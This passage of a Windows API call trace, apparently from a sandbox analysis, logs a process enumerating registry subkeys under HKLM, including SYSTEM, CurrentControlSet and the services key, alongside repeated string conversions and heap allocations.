dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1d60, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.601] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.601] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.601] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1d60, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0218.601] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.601] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.602] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0218.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0218.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.602] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0218.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0218.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.602] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0218.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.602] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0218.602] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.602] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.602] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0218.602] RegCloseKey (hKey=0x80000002) returned 0x0 [0218.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d60, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.603] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.603] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.603] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.603] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d60, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f16e8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.604] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.604] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0218.604] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.604] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0218.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0218.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0218.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.605] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0218.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0218.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d60, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0218.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.605] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0218.605] RegCloseKey (hKey=0x148) returned 0x0 [0218.605] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0218.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0218.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.605] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f16e8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0218.605] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.605] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d60, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.606] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.606] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.606] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0218.606] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0218.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0218.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0218.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0218.607] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0218.607] RegOpenKeyExW (in: hKey=0x154, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0218.607] RegCloseKey (hKey=0x154) returned 0x0 [0218.607] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0218.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0218.607] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0218.607] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0218.607] WideCharToMultiByte (in: 